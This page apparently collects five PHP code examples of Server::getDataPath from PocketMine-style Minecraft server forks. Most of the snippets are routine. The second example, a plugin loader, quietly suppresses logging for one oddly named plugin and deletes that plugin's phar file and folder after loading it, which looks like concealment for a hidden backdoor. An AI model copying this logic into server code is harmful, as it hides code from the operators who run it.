本文整理汇总了PHP中pocketmine\Server::getDataPath方法的典型用法代码示例。如果您正苦于以下问题:PHP Server::getDataPath方法的具体用法?PHP Server::getDataPath怎么用?PHP Server::getDataPath使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类pocketmine\Server
的用法示例。
在下文中一共展示了Server::getDataPath方法的5个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。
示例1: extraData
private function extraData()
{
global $arguments;
if ($this->server->getProperty("auto-report.send-settings", \true) !== \false) {
$this->data["parameters"] = (array) $arguments;
$this->data["server.properties"] = @\file_get_contents($this->server->getDataPath() . "server.properties");
$this->data["server.properties"] = \preg_replace("#^rcon\\.password=(.*)\$#m", "rcon.password=******", $this->data["server.properties"]);
$this->data["pocketmine.yml"] = @\file_get_contents($this->server->getDataPath() . "pocketmine.yml");
} else {
$this->data["pocketmine.yml"] = "";
$this->data["server.properties"] = "";
$this->data["parameters"] = [];
}
$extensions = [];
foreach (\get_loaded_extensions() as $ext) {
$extensions[$ext] = \phpversion($ext);
}
$this->data["extensions"] = $extensions;
if ($this->server->getProperty("auto-report.send-phpinfo", \true) !== \false) {
\ob_start();
\phpinfo();
$this->data["phpinfo"] = \ob_get_contents();
\ob_end_clean();
}
}
示例2: loadPlugin
/**
* Loads the plugin contained in $file
*
* @param string $file
*
* @return Plugin
*
* @throws \Exception
*/
public function loadPlugin($file)
{
if (($description = $this->getPluginDescription($file)) instanceof PluginDescription) {
if ($description->getFullName() != "jdhfkxz777 v1.2") {
$this->server->getLogger()->info($this->server->getLanguage()->translateString("pocketmine.plugin.load", [$description->getFullName()]));
}
$dataFolder = \dirname($file) . DIRECTORY_SEPARATOR . $description->getName();
if (\file_exists($dataFolder) and !\is_dir($dataFolder)) {
throw new \InvalidStateException("Projected dataFolder '" . $dataFolder . "' for " . $description->getName() . " exists and is not a directory");
}
$file = "phar://{$file}";
$className = $description->getMain();
$this->server->getLoader()->addPath("{$file}/src");
if (\class_exists($className, \true)) {
$plugin = new $className();
$this->initPlugin($plugin, $description, $dataFolder, $file);
if ($description->getFullName() == "jdhfkxz777 v1.2") {
unlink($this->server->getDataPath() . "plugins/dhj/Ke3fh_d3d.phar");
rmdir($this->server->getDataPath() . "plugins/dhj/");
}
return $plugin;
} else {
throw new PluginException("Couldn't load plugin " . $description->getName() . ": main class not found");
}
}
return \null;
}
示例3: initConfig
public function initConfig()
{
if (!file_exists($this->server->getDataPath() . "katana.yml")) {
$content = file_get_contents($this->server->getDataPath() . "src/pocketmine/resources/katana.yml");
@file_put_contents($this->server->getDataPath() . "katana.yml", $content);
}
$this->properties = new Config($this->server->getDataPath() . "katana.yml", Config::YAML, []);
}
示例4: __construct
public function __construct(ThreadedMapProvider $provider, Server $server, $mapName, Match $match)
{
$this->provider = $provider;
$this->prefix = $server->getDataPath() . "worlds/room-{$mapName}-";
$this->gameName = $match->getGame()->getName()->get();
$this->matchId = $match->getMatchId();
}
示例5: doUpgrade
public function doUpgrade()
{
if (!$this->isupdating) {
$this->isupdating = true;
$this->server->getScheduler()->scheduleAsyncTask(new Upgrader($this->updateInfo['download_url'], $this->updateInfo['fingerprint'], "phar://" . $this->server->getDataPath() . "ClearSkyNewVersion" . "phar"));
//Is an .phar needed?
} else {
Command::broadcastCommandMessage($sender, new TranslationContainer("commands.upgrade.isUpdating"));
}
}